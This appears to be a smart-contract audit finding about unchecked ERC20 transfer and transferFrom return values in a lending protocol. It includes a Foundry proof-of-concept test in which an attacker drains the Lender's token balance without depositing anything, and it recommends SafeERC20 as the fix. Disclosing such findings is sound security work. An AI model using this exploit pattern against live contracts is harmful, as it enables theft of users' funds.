20,000 USDC
View results
Submission Details
Severity: high

Unhandled return values of transfer and transferFrom enable a variety of attack paths

Summary

ERC20 implementations are not always consistent. Some implementations of transfer and transferFrom could return ‘false’ on failure instead of reverting. It is safer to wrap such calls into require() statements to these failures. Otherwise this vulnerability can be maliciously used in multiple ways inside the contracts. For example by taking out a loan without providing collateral or creating pools without providing liquidity into the contract. This gives direct attack paths to steal funds.

Vulnerability Details

Unhandled transfer / transferFrom function calls occur multiple times inside the contracts and allow different attack paths.

The following POC code shows one of these possible attack paths, it can be implemented inside the current test folder of the repo.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/Lender.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract TestERC20 is ERC20 {
constructor() ERC20("TestRC20", "TERC20") {}
function mint(address account, uint256 amount) external {
_mint(account, amount);
}
// transferFrom function overwritten so that it returns true / false instead of reverting
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
address spender = _msgSender();
uint256 currentAllowance = allowance(from, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < amount) {
return false;
}
unchecked {
_approve(from, spender, currentAllowance - amount);
}
}
_transfer(from, to, amount);
return true;
}
}
contract UnhandledReturnValuesTest is Test {
Lender public lender;
TestERC20 public loanToken;
TestERC20 public collateralToken;
address public attacker = vm.addr(1);
function setUp() public {
lender = new Lender();
loanToken = new TestERC20();
collateralToken = new TestERC20();
loanToken.mint(address(lender), 1000 * 10 ** 18);
loanToken.mint(attacker, 1000 * 10 ** 18);
}
function test_unhandled_return_values() public {
// both start with 1000 loanTokens
assertEq(loanToken.balanceOf(address(lender)), 1000 * 10 ** 18);
assertEq(loanToken.balanceOf(attacker), 1000 * 10 ** 18);
vm.startPrank(attacker);
// attacker does not approve the tokens to be spent by the lender
Pool memory p = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
bytes32 poolId = lender.getPoolId(attacker, address(loanToken), address(collateralToken));
lender.removeFromPool(poolId, 1000*10**18);
vm.stopPrank();
// now the attacker has them all
assertEq(loanToken.balanceOf(address(lender)), 0);
assertEq(loanToken.balanceOf(attacker), 2000 * 10 ** 18);
}
}

Impact

There are a lot of different ways to use this vulnerability, for example:

  • If anyone deposited a token which returns booleans instead of reverting, there is a direct attack path to drain them all

  • Lenders can create pools without providing the necessary liquidity for it

  • Borrowers can take a loan without providing the necessary collateral for it (and therefore steal it)

  • Users can increase their staking balances without depositing funds

Tools Used

Manual Review, Foundry, VSCode

Recommendations

Use OpenZeppelins SafeERC20, or a similar security technique in all contracts, which call transfer or transferFrom on any token.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.